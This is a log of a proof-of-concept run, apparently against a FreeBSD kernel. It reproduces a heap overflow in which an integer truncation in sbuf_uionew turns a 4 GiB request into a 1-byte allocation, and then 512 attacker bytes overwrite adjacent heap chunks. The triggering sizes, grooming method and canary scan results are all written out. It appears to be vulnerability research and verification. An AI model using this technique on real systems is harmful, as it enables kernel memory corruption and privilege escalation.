=== RERUN mode1 ===
trigger: mode=1 uio_resid=4294967296 (0x100000000) len0=512 len1=4294966784
trigger: sysctl accepted; see dmesg for DF2553 lines
---DMESG---
DF2553: === trigger mode=2 ===
DF2553[mode2]: faithful kmalloc(0x100000001) = 0 (NULL: a faithful 4GiB+1 allocation is impossible here)
DF2553[mode2]: truncated (int)(0x100000001)=1 kmalloc = 0xfffff8004f0c2710 usable=8
DF2553: === mode=2 done ===
DF2553: === trigger mode=0 ===
DF2553[mode0]: control uio_resid=256 (0x100)
DF2553[mode0]: OK s=0xfffff8008976ba00 err=0 s_size=257 s_len=256 data[0..7]=44 46 32 35 35 33 50 57
DF2553[mode0]: uio_resid after=0 (fully drained)
DF2553[scan]: corrupted=0 first=-1 last=-1 full-8-byte-pattern-match=0
DF2553: === mode=0 done ===
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 8190 @0xfffff8004f0c2718 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: canary 8127 @0xfffff8004f0c2910 = 44 46 32 35 35 33 50 57  (byte0 expected 44 per user pattern at +504 past the 1-byte alloc)
DF2553[scan]: canary 8128 @0xfffff8004f0c2908 = 46 32 35 35 33 50 57 4e  (byte0 expected 46 per user pattern at +496 past the 1-byte alloc)
DF2553[scan]: canary 8129 @0xfffff8004f0c2900 = 32 35 35 33 50 57 4e 44  (byte0 expected 32 per user pattern at +488 past the 1-byte alloc)
DF2553[scan]: canary 8130 @0xfffff8004f0c28f8 = 35 35 33 50 57 4e 44 46  (byte0 expected 35 per user pattern at +480 past the 1-byte alloc)
DF2553[scan]: canary 8131 @0xfffff8004f0c28f0 = 35 33 50 57 4e 44 46 32  (byte0 expected 35 per user pattern at +472 past the 1-byte alloc)
DF2553[scan]: canary 8132 @0xfffff8004f0c28e8 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern at +464 past the 1-byte alloc)
DF2553[scan]: corrupted=63 first=8127 last=8189 full-8-byte-pattern-match=63
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===